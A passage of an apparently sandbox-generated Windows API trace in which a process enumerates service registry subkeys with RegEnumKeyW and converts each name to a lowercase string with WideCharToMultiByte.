lpName="CSC") returned 0x0 [0175.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0175.939] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0175.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x21f1d18, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0175.939] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0175.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0175.940] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0175.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x21f1d18, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0175.940] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0175.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0175.940] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0175.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0175.940] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0175.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0175.940] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0175.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0175.940] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0175.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0175.941] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0175.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0175.941] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0175.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0175.941] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0175.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0175.941] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0175.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0175.941] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0175.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0175.941] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0175.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0175.941] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0175.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0175.942] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0175.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0175.942] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0175.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0175.942] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0175.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0175.942] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0175.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0175.942] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0175.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0175.942] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0175.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0175.942] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0175.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0175.943] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0175.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0175.943] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0175.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0175.943] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0175.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0175.943] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0175.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0175.943] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0175.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0175.943] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0175.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0175.944] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0175.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0175.944] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0175.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0175.944] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0175.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0175.944] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0175.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0175.944] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0175.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0175.944] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0175.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0175.944] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0175.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0175.945] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0175.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0175.945] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0175.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0175.945] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0175.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0175.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x21f1a90, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0175.945] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | 